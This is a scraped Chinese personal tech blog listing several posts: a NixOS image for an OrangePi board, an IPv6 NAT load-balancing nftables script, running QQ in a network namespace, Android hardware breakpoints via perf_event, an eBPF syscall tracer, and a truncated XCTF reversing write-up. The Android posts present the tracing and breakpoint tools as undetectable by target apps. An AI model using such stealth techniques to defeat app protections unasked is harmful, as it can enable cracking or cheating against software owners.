richar的技术集

Nixos on OrangePi R1 Plus LTS

2026-01-06T00:00:00+00:00

前言</h1>
前几天买了个OrangePi R1 Plus LTS打算当作软路由，虽然网上已经有编译好的各种镜像，不过大多数是OpenWrt，并且固件比较旧。偶然搜到这篇Arch Linux on Orangepi R1 Plus LTS</a>，那么既然Arch都能装，那为什么不试试NixOS呢。</p>
Github: ri-char/nixos-orangepi-r1-plus-lts</a></p>

rock-chips文档</a>中有这么一幅图，很详细的描述了启动镜像的布局。</p>

+--------+----------------+----------+-------------+---------+
</span>| Boot   | Terminology #1 | Actual   | Rockchip    | Image   |
</span>| stage  |                | program  |  Image      | Location|
</span>| number |                | name     |   Name      | (sector)|
</span>+--------+----------------+----------+-------------+---------+
</span>| 1      |  Primary       | ROM code | BootRom     |         |
</span>|        |  Program       |          |             |         |
</span>|        |  Loader        |          |             |         |
</span>|        |                |          |             |         |
</span>| 2      |  Secondary     | U-Boot   |idbloader.img| 0x40    | pre-loader
</span>|        |  Program       | TPL/SPL  |             |         |
</span>|        |  Loader (SPL)  |          |             |         |
</span>|        |                |          |             |         |
</span>| 3      |  -             | U-Boot   | u-boot.itb  | 0x4000  | including u-boot and atf
</span>|        |                |          | uboot.img   |         | only used with miniloader
</span>|        |                |          |             |         |
</span>|        |                | ATF/TEE  | trust.img   | 0x6000  | only used with miniloader
</span>|        |                |          |             |         |
</span>| 4      |  -             | kernel   | boot.img    | 0x8000  |
</span>|        |                |          |             |         |
</span>| 5      |  -             | rootfs   | rootfs.img  | 0x40000 |
</span>+--------+----------------+----------+-------------+---------+
</span></code></pre>
最前面0x40</code>字节是MBR分区信息。我们所需要关注的是第2、3阶段。第2、3阶段所需要的文件idbloader.img</code>和u-boot.itb</code>是由U-Boot编译生成的。因此只需要编译好后按照上图所示的布局排列好，刷入TF卡中即可。</p>
详细配置</h1>
编译U-Boot</h2>
U-Boot在2023年7月加入的Orange Pi R1 Plus LTS的设备树（见9bd954ab</a>），因此需要使用较新的U-Boot源码。由于现在的内核都比较大，但是u-boot中的内存布局给内核留的空间较小，所以需要一点patch。最终编译配置如下</p>
{
</span>  </span>buildUBoot</span>,
</span>  </span>armTrustedFirmwareRK3328</span>,
</span>  </span>...
</span>}:
</span>buildUBoot </span>{
</span>  </span>defconfig </span>= </span>"orangepi-r1-plus-lts-rk3328_defconfig"</span>;
</span>  </span>extraMeta </span>= </span>{
</span>    </span>platforms </span>= </span>[</span>"aarch64-linux"</span>];
</span>  };
</span>  </span>patches </span>= </span>[
</span>    </span>./0001-Boot-environment.patch
</span>  ];
</span>  </span>enableParallelBuilding </span>= </span>true</span>;
</span>  </span>BL31 </span>= </span>"</span>${</span>armTrustedFirmwareRK3328</span>}</span>/bl31.elf"</span>;
</span>  </span>filesToInstall </span>= </span>[</span>"u-boot.itb" "idbloader.img"</span>];
</span>}
</span></code></pre>
以及0001-Boot-environment.patch</p>
diff --git a/include/configs/rk3328_common.h b/include/configs/rk3328_common.h
</span>index bd2bfe2910..7a321e16b0 100644
</span>--- a/include/configs/rk3328_common.h
</span>+++ b/include/configs/rk3328_common.h
</span>@@ -14,14 +14,14 @@
</span> #define SDRAM_MAX_SIZE			0xff000000
</span> 
</span> #define ENV_MEM_LAYOUT_SETTINGS		\
</span>-	"scriptaddr=0x00500000\0"	\
</span>+	"scriptaddr=0x00b00000\0"	\
</span> 	"script_offset_f=0xffe000\0"	\
</span> 	"script_size_f=0x2000\0"	\
</span>-	"pxefile_addr_r=0x00600000\0"	\
</span>-	"fdt_addr_r=0x01e00000\0"	\
</span>+	"pxefile_addr_r=0x00c00000\0"	\
</span>+	"fdt_addr_r=0x07e00000\0"	\
</span> 	"fdtoverlay_addr_r=0x01f00000\0"	\
</span> 	"kernel_addr_r=0x02080000\0"	\
</span>-	"ramdisk_addr_r=0x06000000\0"	\
</span>+	"ramdisk_addr_r=0x0c000000\0"	\
</span> 	"kernel_comp_addr_r=0x08000000\0"	\
</span> 	"kernel_comp_size=0x2000000\0"
</span>
</span></code></pre>
制作SD卡镜像</h2>
SD卡镜像制作主要参考了ryan4yin/nixos-rk3588</a>以及gytis-ivaskevicius/orangepi-r1-plus-nixos-image</a>，只需要把固件按照rock-chips文档中的布局排布即可。由于完整代码</a>过长，下面列出几个关键命令。</p>
# 将创建文件$img，并指定文件大小$imageSizeBytes
</span>truncate</span> -s </span>$</span>imageSizeBytes </span>$</span>img
</span>
</span># 创建主分区
</span>sfdisk $</span>img </span><<EOF
</span>    label: dos
</span>
</span>    start=$</span>rootPartitionOffsetBlocks</span>, type=linux, bootable
</span>EOF
</span>
</span># 获取$img的第一个分区的起始位置和大小
</span>eval </span>$(partx $</span>img</span> -o</span> START,SECTORS</span> --nr</span> 1</span> --pairs</span>)
</span>
</span># 将rootfs.img写入第一个分区
</span>dd conv=notrunc if=./root-fs.img of=$</span>img</span> seek=$</span>START</span> count=$</span>SECTORS
</span>
</span># 写入idbloader.img
</span>dd if=idbloader.img of=$</span>img</span> seek=64 conv=notrunc
</span>
</span># 写入u-boot.itb
</span>dd if=u-boot.itb of=$</span>img</span> seek=16384 conv=notrunc
</span></code></pre>
启动</h1>
编译好后，使用dd命令将镜像写TF卡中，就可以启动了。</p>
</p>



mwan3多拨ipv6一对一NAT负载均衡
2024-08-29T00:00:00+00:00
背景</h1>
wan多拨可以拿到多个ipv6的前缀，使用mwan3对ipv6进行负载均衡，发现能够正常将连接分流到各个接口上，但是不会进行地址转化。因此需要自行进行地址转化。本文对“关于多线IPv6与mwan3均衡负载，正确进行源地址转换”</a>进行改进，能够实现入站和出站一对一NAT。
NAT方式为将内网的前缀直接转化为上游下发的前缀，后64位保持不变。这样保证了内网机器的公网连通性和可访问性。</p>
配置</h1>
有4个多拨接口，网卡名为eth1mac0</code>，eth1mac1</code>，eth1mac2</code>，eth1mac3</code>。Openwrt接口名为wanv6_0</code>，wanv6_1</code>，wanv6_2</code>，wanv6_3</code>。每个接口都能拿到一个长度为128的ipv6地址和一个长度为64的前缀。
内网ULA前缀为fd00::/64</code>。</p>
在/etc/config/firewall</code>添加以下内容，每当网络接口发生变化时都会自动运行脚本。</p>
config include
</span>    option path '/usr/nft-nat6.sh'
</span></code></pre>
编辑防火墙脚本/usr/nft-nat6.sh</code></p>
1</td> #!/bin/sh
</span></td></tr>
2</td> 
</span></td></tr>
3</td> lan_prefix</span>=</span>fd00::/64
</span></td></tr>
4</td> 
</span></td></tr>
5</td> pd0</span>=</span>$(ifstatus wanv6_0 </span>| </span>jsonfilter</span> -e </span>'@["route"][0].source')
</span></td></tr>
6</td> pd1</span>=</span>$(ifstatus wanv6_1 </span>| </span>jsonfilter</span> -e </span>'@["route"][0].source')
</span></td></tr>
7</td> pd2</span>=</span>$(ifstatus wanv6_2 </span>| </span>jsonfilter</span> -e </span>'@["route"][0].source')
</span></td></tr>
8</td> pd3</span>=</span>$(ifstatus wanv6_3 </span>| </span>jsonfilter</span> -e </span>'@["route"][0].source')
</span></td></tr>
9</td> 
</span></td></tr>
10</td> ip0</span>=</span>$(ifstatus wanv6_0 </span>| </span>jsonfilter</span> -e </span>'@["ipv6-address"][0]["address"]')
</span></td></tr>
11</td> ip1</span>=</span>$(ifstatus wanv6_1 </span>| </span>jsonfilter</span> -e </span>'@["ipv6-address"][0]["address"]')
</span></td></tr>
12</td> ip2</span>=</span>$(ifstatus wanv6_2 </span>| </span>jsonfilter</span> -e </span>'@["ipv6-address"][0]["address"]')
</span></td></tr>
13</td> ip3</span>=</span>$(ifstatus wanv6_3 </span>| </span>jsonfilter</span> -e </span>'@["ipv6-address"][0]["address"]')
</span></td></tr>
14</td> 
</span></td></tr>
15</td> nft add table ip6 balance_netmap
</span></td></tr>
16</td> nft add set ip6 balance_netmap pds { type ipv6_addr</span>\;</span> flags interval</span>\;</span> comment </span>\"</span>all ipv6 pd of interfaces</span>\" \; </span>}
</span></td></tr>
17</td> nft flush set ip6 balance_netmap pds
</span></td></tr>
18</td> nft add element ip6 balance_netmap pds { $</span>lan_prefix </span>}
</span></td></tr>
19</td> [[ </span>$</span>pd0 </span>== *</span>/64 </span>]] </span>&& </span>nft add element ip6 balance_netmap pds { $</span>pd0 </span>}
</span></td></tr>
20</td> [[ </span>$</span>pd1 </span>== *</span>/64 </span>]] </span>&& </span>nft add element ip6 balance_netmap pds { $</span>pd1 </span>}
</span></td></tr>
21</td> [[ </span>$</span>pd2 </span>== *</span>/64 </span>]] </span>&& </span>nft add element ip6 balance_netmap pds { $</span>pd2 </span>}
</span></td></tr>
22</td> [[ </span>$</span>pd3 </span>== *</span>/64 </span>]] </span>&& </span>nft add element ip6 balance_netmap pds { $</span>pd3 </span>}
</span></td></tr>
23</td> 
</span></td></tr>
24</td> nft add chain ip6 balance_netmap srcnat { type nat hook postrouting priority srcnat </span>\; </span>}
</span></td></tr>
25</td> nft flush chain ip6 balance_netmap srcnat
</span></td></tr>
26</td> 
</span></td></tr>
27</td> [[ </span>$</span>pd0 </span>== *</span>/64 </span>]] </span>&& </span>nft add rule ip6 balance_netmap srcnat oifname eth1mac0 ip6 saddr @pds snat ip6 saddr </span>"&"</span> ::ffff:ffff:ffff:ffff </span>"|" </span>${</span>pd0</span>%%</span>/64}
</span></td></tr>
28</td> [[ </span>$</span>pd1 </span>== *</span>/64 </span>]] </span>&& </span>nft add rule ip6 balance_netmap srcnat oifname eth1mac1 ip6 saddr @pds snat ip6 saddr </span>"&"</span> ::ffff:ffff:ffff:ffff </span>"|" </span>${</span>pd1</span>%%</span>/64}
</span></td></tr>
29</td> [[ </span>$</span>pd2 </span>== *</span>/64 </span>]] </span>&& </span>nft add rule ip6 balance_netmap srcnat oifname eth1mac2 ip6 saddr @pds snat ip6 saddr </span>"&"</span> ::ffff:ffff:ffff:ffff </span>"|" </span>${</span>pd2</span>%%</span>/64}
</span></td></tr>
30</td> [[ </span>$</span>pd3 </span>== *</span>/64 </span>]] </span>&& </span>nft add rule ip6 balance_netmap srcnat oifname eth1mac3 ip6 saddr @pds snat ip6 saddr </span>"&"</span> ::ffff:ffff:ffff:ffff </span>"|" </span>${</span>pd3</span>%%</span>/64}
</span></td></tr>
31</td> 
</span></td></tr>
32</td> nft add rule ip6 balance_netmap srcnat oifname {eth1mac0, eth1mac1, eth1mac2, eth1mac3} masquerade
</span></td></tr>
33</td> # nft add rule ip6 balance_netmap srcnat oifname {eth1mac0, eth1mac1, eth1mac2, eth1mac3} saddr {$ip0, $ip1, $ip2, $ip3} masquerade
</span></td></tr>
34</td> 
</span></td></tr>
35</td> nft add chain ip6 balance_netmap dctnat { type nat hook prerouting priority dstnat </span>\; </span>}
</span></td></tr>
36</td> nft flush chain ip6 balance_netmap dctnat
</span></td></tr>
37</td> nft add rule ip6 balance_netmap dctnat ip6 daddr @pds dnat ip6 daddr </span>"&"</span> ::ffff:ffff:ffff:ffff </span>"|" </span>${</span>lan_prefix</span>%%</span>/64}
</span></td></tr></tbody></table></code></pre>
下面看看上面脚本都干了什么。</p>
5</td> pd0</span>=</span>$(ifstatus wanv6_0 </span>| </span>jsonfilter</span> -e </span>'@["route"][0].source')
</span></td></tr>
6</td> pd1</span>=</span>$(ifstatus wanv6_1 </span>| </span>jsonfilter</span> -e </span>'@["route"][0].source')
</span></td></tr>
7</td> pd2</span>=</span>$(ifstatus wanv6_2 </span>| </span>jsonfilter</span> -e </span>'@["route"][0].source')
</span></td></tr>
8</td> pd3</span>=</span>$(ifstatus wanv6_3 </span>| </span>jsonfilter</span> -e </span>'@["route"][0].source')
</span></td></tr>
9</td> 
</span></td></tr>
10</td> ip0</span>=</span>$(ifstatus wanv6_0 </span>| </span>jsonfilter</span> -e </span>'@["ipv6-address"][0]["address"]')
</span></td></tr>
11</td> ip1</span>=</span>$(ifstatus wanv6_1 </span>| </span>jsonfilter</span> -e </span>'@["ipv6-address"][0]["address"]')
</span></td></tr>
12</td> ip2</span>=</span>$(ifstatus wanv6_2 </span>| </span>jsonfilter</span> -e </span>'@["ipv6-address"][0]["address"]')
</span></td></tr>
13</td> ip3</span>=</span>$(ifstatus wanv6_3 </span>| </span>jsonfilter</span> -e </span>'@["ipv6-address"][0]["address"]')
</span></td></tr></tbody></table></code></pre>
这段代码拿到了每个接口的ip和网段，这里获取网段的方式是看路由表的第一条的来源地址。这会导致如果上游没有下发网段，拿到的网段就是它自己的ip。因此下面的脚本中需要判断网段是否以/64</code>结尾。</p>
15</td> nft add table ip6 balance_netmap
</span></td></tr></tbody></table></code></pre>
上面这一行创建了一个名字叫balance_netmap</code>类型为ipv6的表。</p>
16</td> nft add set ip6 balance_netmap pds { type ipv6_addr</span>\;</span> flags interval</span>\;</span> comment </span>\"</span>all ipv6 pd of interfaces</span>\" \; </span>}
</span></td></tr>
17</td> nft flush set ip6 balance_netmap pds
</span></td></tr>
18</td> nft add element ip6 balance_netmap pds { $</span>lan_prefix </span>}
</span></td></tr>
19</td> [[ </span>$</span>pd0 </span>== *</span>/64 </span>]] </span>&& </span>nft add element ip6 balance_netmap pds { $</span>pd0 </span>}
</span></td></tr>
20</td> [[ </span>$</span>pd1 </span>== *</span>/64 </span>]] </span>&& </span>nft add element ip6 balance_netmap pds { $</span>pd1 </span>}
</span></td></tr>
21</td> [[ </span>$</span>pd2 </span>== *</span>/64 </span>]] </span>&& </span>nft add element ip6 balance_netmap pds { $</span>pd2 </span>}
</span></td></tr>
22</td> [[ </span>$</span>pd3 </span>== *</span>/64 </span>]] </span>&& </span>nft add element ip6 balance_netmap pds { $</span>pd3 </span>}
</span></td></tr></tbody></table></code></pre>
创建了一个包含内网网段和所有上游分发下来的前缀的集合，名为pds</code>。</p>
24</td> nft add chain ip6 balance_netmap srcnat { type nat hook postrouting priority srcnat </span>\; </span>}
</span></td></tr>
25</td> nft flush chain ip6 balance_netmap srcnat
</span></td></tr></tbody></table></code></pre>
创建一条链名为srcnat</code>，hook位置为postrouting</code>，即路由后出网卡前，在这个阶段需要修改数据包的来源地址。分为以下三种情况：</p>

来源数据包是内网网段（内网机器出站流量）：需要将内网网段前缀改成上游下发给该出口网卡的前缀，实现1对1 NAT。</li>
来源数据包是上游下发的长度为128的ip（本机出站流量）：需要将来源ip改成出口网卡的ip。</li>
来源数据包是其他ip（内网还有其他网段）：可以选择不进行地址转化，也可以选择强制转化为出口网卡的ip。</li>
</ul>
27</td> [[ </span>$</span>pd0 </span>== *</span>/64 </span>]] </span>&& </span>nft add rule ip6 balance_netmap srcnat oifname eth1mac0 ip6 saddr @pds snat ip6 saddr </span>"&"</span> ::ffff:ffff:ffff:ffff </span>"|" </span>${</span>pd0</span>%%</span>/64}
</span></td></tr>
28</td> [[ </span>$</span>pd1 </span>== *</span>/64 </span>]] </span>&& </span>nft add rule ip6 balance_netmap srcnat oifname eth1mac1 ip6 saddr @pds snat ip6 saddr </span>"&"</span> ::ffff:ffff:ffff:ffff </span>"|" </span>${</span>pd1</span>%%</span>/64}
</span></td></tr>
29</td> [[ </span>$</span>pd2 </span>== *</span>/64 </span>]] </span>&& </span>nft add rule ip6 balance_netmap srcnat oifname eth1mac2 ip6 saddr @pds snat ip6 saddr </span>"&"</span> ::ffff:ffff:ffff:ffff </span>"|" </span>${</span>pd2</span>%%</span>/64}
</span></td></tr>
30</td> [[ </span>$</span>pd3 </span>== *</span>/64 </span>]] </span>&& </span>nft add rule ip6 balance_netmap srcnat oifname eth1mac3 ip6 saddr @pds snat ip6 saddr </span>"&"</span> ::ffff:ffff:ffff:ffff </span>"|" </span>${</span>pd3</span>%%</span>/64}
</span></td></tr></tbody></table></code></pre>
匹配出口网卡是需要负载均衡的网卡，并且来源ip是内网网段或者是其他网卡获得的网段（比如内网机器手动添加了一个公网ip），则将来源地址的前缀改成上游下发的前缀。这里使用位运算进行修改，::ffff:ffff:ffff:ffff</code>是前缀的反掩码。不用map</code>进行转化的原因是，map</code>转化不一定是一一对应的，有时候后缀也会修改分配到一个未使用的ip，不便于入站。</p>
32</td> nft add rule ip6 balance_netmap srcnat oifname {eth1mac0, eth1mac1, eth1mac2, eth1mac3} masquerade
</span></td></tr>
33</td> # nft add rule ip6 balance_netmap srcnat oifname {eth1mac0, eth1mac1, eth1mac2, eth1mac3} saddr {$ip0, $ip1, $ip2, $ip3} masquerade
</span></td></tr></tbody></table></code></pre>
对于其它流量，全部转化为出口网卡的ip，即masquerade</code>。注释中是仅转化本机出站流量，内网其他网段地址不进行转化，可以根据自己情况选择用哪一种。</p>
35</td> nft add chain ip6 balance_netmap dctnat { type nat hook prerouting priority dstnat </span>\; </span>}
</span></td></tr>
36</td> nft flush chain ip6 balance_netmap dctnat
</span></td></tr></tbody></table></code></pre>
创建一条链名为dstnat</code>，hook位置为prerouting</code>，在这个阶段需要修改入站数据包的目的地址。以支持外网主动访问内网服务。如果不需要支持入站可以删去。</p>
37</td> nft add rule ip6 balance_netmap dctnat ip6 daddr @pds dnat ip6 daddr </span>"&"</span> ::ffff:ffff:ffff:ffff </span>"|" </span>${</span>lan_prefix</span>%%</span>/64}
</span></td></tr></tbody></table></code></pre>
匹配目标是上游下发的前缀地址的连接，将其目标改为内网前缀。</p>
Openwrt其他设置</h1>
在Network -> Interfaces -> Global network options -> IPv6 ULA-Prefix</code>中指定内网地址。</p>
在lan</code>接口的Advanced Settings -> IPv6 prefix filter</code>选择local</code>，即仅下发上述内网地址。</p>
附录</h1>
网卡太多可以使用下面这个使用循环的脚本，修改iface_count</code>即可。</p>
#!/bin/sh
</span>
</span>iface_count</span>=</span>10
</span>lan_prefix</span>=</span>fd00::/64
</span>
</span>for</span> i </span>in </span>$(seq 0 $(( $</span>iface_count</span>-</span>1 </span>)) )</span>; do
</span>  </span>eval </span>"pd$</span>i</span>=</span>\$</span>(ifstatus wanv6_$</span>i</span> | jsonfilter -e '@[</span>\"</span>route</span>\"</span>][0].source')"
</span>  </span>eval </span>"ip$</span>i</span>=</span>\$</span>(ifstatus wanv6_$</span>i</span> | jsonfilter -e '@[</span>\"</span>ipv6-address</span>\"</span>][0][</span>\"</span>address</span>\"</span>]')"
</span>done
</span>
</span>nft add table ip6 balance_netmap
</span>
</span>nft add set ip6 balance_netmap pds { type ipv6_addr</span>\;</span> flags interval</span>\; \; </span>}
</span>nft flush set ip6 balance_netmap pds
</span>nft add element ip6 balance_netmap pds { $</span>lan_prefix </span>}
</span>for</span> i </span>in </span>$(seq 0 $(( $</span>iface_count</span>-</span>1 </span>)) )</span>; do
</span>  </span>pd</span>=</span>$(</span>eval</span> echo -n </span>\$</span>pd$</span>i</span>)
</span>  </span>if </span>[[ </span>$</span>pd </span>== *</span>/64 </span>]]</span>; then
</span>    nft add element ip6 balance_netmap pds { $</span>pd </span>}
</span>  </span>fi
</span>done
</span>
</span>nft add chain ip6 balance_netmap srcnat { type nat hook postrouting priority srcnat </span>\; </span>}
</span>nft flush chain ip6 balance_netmap srcnat
</span>for</span> i </span>in </span>$(seq 0 $(( $</span>iface_count</span>-</span>1 </span>)) )</span>; do
</span>  </span>pd</span>=</span>$(</span>eval</span> echo -n </span>\$</span>pd$</span>i</span>)
</span>  </span>if </span>[[ </span>$</span>pd </span>!= *</span>/64 </span>]]</span>; then
</span>    </span>continue
</span>  </span>fi
</span>  nft add rule ip6 balance_netmap srcnat oifname eth1mac$</span>i</span> ip6 saddr @pds snat ip6 saddr </span>"&"</span> ::ffff:ffff:ffff:ffff </span>"|" </span>${</span>pd</span>%%</span>/64}
</span>done
</span>
</span>set</span>=</span>"{"
</span>for</span> i </span>in </span>$(seq 0 $(( $</span>iface_count</span>-</span>1 </span>)) )</span>; do
</span>  </span>set</span>=</span>"${</span>set</span>}eth1mac$</span>i</span>,"
</span>done
</span>set</span>=</span>"$</span>set</span>}"
</span>
</span># choose one
</span>if </span>true</span>; then
</span>  nft add rule ip6 balance_netmap srcnat oifname $</span>set</span> masquerade
</span>else
</span>  </span>ip_set</span>=</span>"{"
</span>  </span>for</span> i </span>in </span>$(seq 0 $(( $</span>iface_count</span>-</span>1 </span>)) )</span>; do
</span>    </span>ip</span>=</span>$(</span>eval</span> echo -n </span>\$</span>ip$</span>i</span>)
</span>    </span>ip_set</span>=</span>"$</span>ip_set</span>$</span>ip</span>,"
</span>  </span>done
</span>  </span>ip_set</span>=</span>"$</span>ip_set</span>}"
</span>  nft add rule ip6 balance_netmap srcnat oifname </span>"$</span>set</span>"</span> saddr </span>"$</span>ip_set</span>"</span> masquerade
</span>fi
</span>
</span>nft add chain ip6 balance_netmap dctnat { type nat hook prerouting priority dstnat </span>\; </span>}
</span>nft flush chain ip6 balance_netmap dctnat
</span>nft add rule ip6 balance_netmap dctnat ip6 daddr @pds dnat ip6 daddr </span>"&"</span> ::ffff:ffff:ffff:ffff </span>"|" </span>${</span>lan_prefix</span>%%</span>/64}
</span></code></pre>


将QQ放入Network Namespace
2024-06-14T00:00:00+00:00
nsname</span>=</span>qq
</span>outer_interface</span>=</span>qq-veth
</span>inner_interface</span>=</span>qveth1
</span>inner_mac</span>=</span>12:e1:7d:f8:a2:a4
</span>
</span>if </span>[[ </span>! </span>-e</span> /var/run/netns/$</span>nsname </span>]]</span>; then
</span>    ip netns add $</span>nsname
</span>fi
</span>if ! </span>ip address show $</span>outer_interface </span>></span> /dev/null </span>2</span>>&</span>1 </span>|| ! </span>ip</span> -n </span>$</span>nsname</span> address show $</span>inner_interface </span>></span> /dev/null </span>2</span>>&</span>1</span>; then
</span>    </span>if </span>ip address show $</span>outer_interface </span>></span> /dev/null </span>2</span>>&</span>1</span>; then
</span>        ip link del $</span>outer_interface
</span>    </span>fi
</span>    </span>if </span>ip</span> -n </span>$</span>nsname</span> address show $</span>inner_interface </span>></span> /dev/null </span>2</span>>&</span>1</span>; then
</span>        ip</span> -n </span>$</span>nsname</span> link del $</span>inner_interface
</span>    </span>fi
</span>    </span>if </span>ip address show $</span>inner_interface </span>></span> /dev/null </span>2</span>>&</span>1</span>; then
</span>        ip link del $</span>inner_interface
</span>    </span>fi
</span>    ip link add $</span>outer_interface</span> type veth peer name $</span>inner_interface
</span>    ip link set $</span>inner_interface</span> netns $</span>nsname
</span>
</span>    ip addr add 192.168.67.1/24 dev $</span>outer_interface
</span>    ip</span> -n </span>$</span>nsname</span> addr add 192.168.67.2/24 dev $</span>inner_interface
</span>    ip</span> -n </span>$</span>nsname</span> link set dev $</span>inner_interface</span> address $</span>inner_mac
</span>    ip</span> -n </span>$</span>nsname</span> route add default via 192.168.67.1 dev $</span>inner_interface
</span>
</span>    ip link set $</span>outer_interface</span> up
</span>    ip</span> -n </span>$</span>nsname</span> link set $</span>inner_interface</span> up
</span>fi
</span>
</span>if ! </span>iptables</span> -t</span> nat</span> -C</span> POSTROUTING</span> -s</span> 192.168.67.0/24</span> -j</span> MASQUERADE </span>></span> /dev/null </span>2</span>>&</span>1</span>; then
</span>    iptables</span> -t</span> nat</span> -A</span> POSTROUTING</span> -s</span> 192.168.67.0/24</span> -j</span> MASQUERADE
</span>fi
</span>
</span>ip netns exec qq sudo</span> -u</span> richar bash</span> -c </span>"DBUS_SESSION_BUS_ADDRESS=$</span>DBUS_SESSION_BUS_ADDRESS</span> exec qq"
</span></code></pre>


Android使用perf_event实现硬断点
2024-02-15T00:00:00+00:00
背景</h1>
在Android中，目前有一下几种方式实现硬件断点。</p>

GDB Server</li>
rwProcMem33等此类内核模块</li>
</ol>
但是这些方式都有一些问题，比如GDB Server需要使用ptrace</code>附加在目标进程，容易被检测。rwProcMem33等内核模块需要内核头文件，不开源内核难以使用，此外触发一次断点后会导致整个线程卡死，直到断点删除。</p>
使用linux perf_event</code>机制实现硬件断点可以在不附加在目标进程、不安装内核模块的情况下下断，同时也无法被目标进程检测。
该方法支持读、写、执行断点，可以读写断点设置1、4、8字节长度。断点后可以输出此时的寄存器信息。</p>
项目地址：ri-char/pwatch</a></p>
原理</h1>
使用perf_event_open</code>系统调用，设置断点类型为PERF_TYPE_BREAKPOINT</code>。sample_type</code>为PERF_SAMPLE_REGS_USER</code>，可以采样寄存器信息。
将断点信息填入结构体后使用perf_event_open</code>创建perf_event</code>，返回一个fd</code>。使用mmap</code>打开该fd可以得到断点出发后的信息。</p>
let </span>mut</span> attrs </span>= </span>sys::bindings::perf_event_attr::default();
</span>
</span>attrs.size </span>= </span>std::mem::size_of::<sys::bindings::perf_event_attr>() </span>as </span>u32</span>;
</span>attrs.type_ </span>= </span>sys::bindings::</span>PERF_TYPE_BREAKPOINT</span>;
</span>attrs.__bindgen_anon_1.sample_period </span>= </span>1</span>;
</span>attrs.__bindgen_anon_2.wakeup_events </span>= </span>1</span>;
</span>attrs.bp_type </span>=</span> r</span>#</span>type</span>;
</span>attrs.__bindgen_anon_3.bp_addr </span>=</span> addr;
</span>attrs.__bindgen_anon_4.bp_len </span>=</span> len </span>as </span>u64</span>;
</span>attrs.</span>set_precise_ip</span>(</span>2</span>);
</span>attrs.sample_type </span>= </span>sys::bindings::</span>PERF_SAMPLE_REGS_USER </span>| </span>sys::bindings::</span>PERF_SAMPLE_TID</span>;
</span>attrs.sample_regs_user </span>= </span>arch::</span>SAMPLE_REGS_USER</span>;
</span>
</span>sys::perf_event_open(
</span>    </span>&mut</span> attrs,
</span>    pid,
</span>    </span>-</span>1</span>,
</span>    </span>-</span>1</span>,
</span>    (sys::bindings::</span>PERF_FLAG_FD_CLOEXEC</span>) </span>as </span>u64</span>,
</span>)
</span>
</span></code></pre>
sample_type</code>还可以加上PERF_SAMPLE_STACK_USER</code>，获取用户调用栈信息。</p>


eStrace - 使用eBPF追踪系统调用
2023-06-14T00:00:00+00:00
Android逆向时经常需要通过hook系统调用观察程序的行为，但使用seccomp很容易被目标程序检测。而eBPF是内核层面hook，用户态程序不可能能感知到，用于逆向时行为分析再合适不过了。在此之前也已经有教程教如何使用eBPF hook所有系统调用：60秒学会用eBPF-BCC hook系统调用 ( 2 ) hook安卓所有syscall</a>。但是读下来发现，需要配置bcc环境、编写python代码，十分麻烦（我不相信真的60秒能学会）。</p>
而我使用rust的aya框架，可以直接编译成一个单独的可执行程序，直接运行就可以hook所有系统调用了。同时借鉴了strace以及lurk等项目，将syscall执行以行日志形式输出，便于分析。</p>
项目地址</strong>：ri-char/eStrace</a></p>
如何使用</h2>
从Release</a>中下载对应平台的二进制，直接运行即可。真的仅需60秒！</p>
效果图：</p>
</p>
原理</h2>
在eBPF中，使用TracePoint，分别挂载了两个函数在raw_syscalls/sys_enter</code>和raw_syscalls/sys_exit</code>上，可以获取所有系统调用的事件。然后需要一张表来记录每一个系统调用有几个参数，每个参数的类型和名称，如果参数是指针的话，还需要记录指针指向结构体的大小，解引用的时机（有些指针作为系统调用的返回值）。详见：/ri-char/eStrace/cli/src/syscall_info/mod.rs</a></p>
syscall!(read, fd </span>= </span>INT</span>, buf </span>= </span>output_struct_ref</span>(</span>2</span>), count </span>= </span>INT</span>; [</span>"DESC"</span>]);
</span>syscall!(write, fd </span>= </span>INT</span>, buf </span>= </span>input_struct_ref</span>(</span>6</span>), count </span>= </span>INT</span>; [</span>"DESC"</span>]);
</span>syscall!(open, filename </span>= </span>STR</span>, flags </span>= </span>INT</span>, flags </span>= </span>INT</span>; [</span>"DESC"</span>, </span>"FILE"</span>]);
</span>syscall!(close, fd </span>= </span>INT</span>; [</span>"DESC"</span>]);
</span>syscall!(stat, filename</span>=</span>STR</span>, statbuf </span>= </span>output_struct</span>(</span>sizeof</span>!</span>(stat)); [</span>"FILE"</span>, </span>"STAT"</span>, </span>"STAT_LIKE"</span>]);
</span>syscall!(fstat, fd </span>= </span>INT</span>, statbuf </span>= </span>output_struct</span>(</span>sizeof</span>!</span>(stat)); [</span>"DESC"</span>, </span>"FSTAT"</span>, </span>"STAT_LIKE"</span>]);
</span>...
</span></code></pre>
有了这样一张表，每个系统调用就去查表，将数据通过PerfEventArray传回用户态程序。用户态程序解析并将日志输出。</p>
ToDo</h2>

上面这张系统调用的信息表可能存在错误</li>
更加完整的过滤机制</li>
参数结构体解析</li>
</ol>


XCTF lambda 题解
2023-03-31T00:00:00+00:00
题目给了一个可执行程序和一份源码（一般有源码的题目都不容易）。源码可以看到是实现了一个lambda的解释器。</p>
附件地址</a></p>
lambda表达式结构体如下</p>
typedef enum</span> _ExpType
</span>{
</span>	</span>kSymbol</span>, </span>kLambda</span>, </span>kCall
</span>}ExpType;
</span>
</span>typedef unsigned char </span>Symbol;
</span>typedef struct</span> _Exp Exp;
</span>typedef struct</span> _Closure Closure;
</span>typedef struct</span> _Env Env;
</span>typedef struct</span> _LazyArg LazyArg;
</span>
</span>// Expression represents AST of lambda calculus
</span>struct </span>_Exp
</span>{
</span>	ExpType type;
</span>	</span>union
</span>	{
</span>		Symbol symbol;
</span>		</span>struct
</span>		{
</span>			Symbol arg;
</span>			</span>const</span> Exp</span>*</span> body;
</span>		}lambda;
</span>		</span>struct
</span>		{
</span>			</span>const</span> Exp</span>*</span> rator;
</span>			</span>const</span> Exp</span>*</span> rand;
</span>		}call;
</span>	}u;
</span>};
</span></code></pre>
程序运行时会将输入的字符转换成Church Number</a>，放入程序内置的表达式的指定位置。因此第一步是要将数据段的lambda表达式提取出来。
程序会将输入分成11段，放入11个lambda表达式中进行校验，每个lambda表达式会返回一个Church Boolean。
先编写简单的python脚本把程序内的11段lambda表达式提取出来</p>
import </span>dump
</span>import </span>sys
</span>sys.setrecursionlimit(</span>50000</span>)
</span>def </span>get_index</span>(</span>addr</span>):
</span>    </span>return </span>(addr</span>-</span>0x004040a0</span>)</span>//</span>8
</span>
</span>class </span>Exp</span>:
</span>    </span>def </span>to_str</span>(</span>self</span>) -> </span>str</span>:
</span>        </span>pass
</span>
</span>class </span>Symbol</span>(</span>Exp</span>):
</span>    c:</span>str
</span>
</span>    </span>def </span>__init__</span>(</span>self</span>, </span>c</span>):
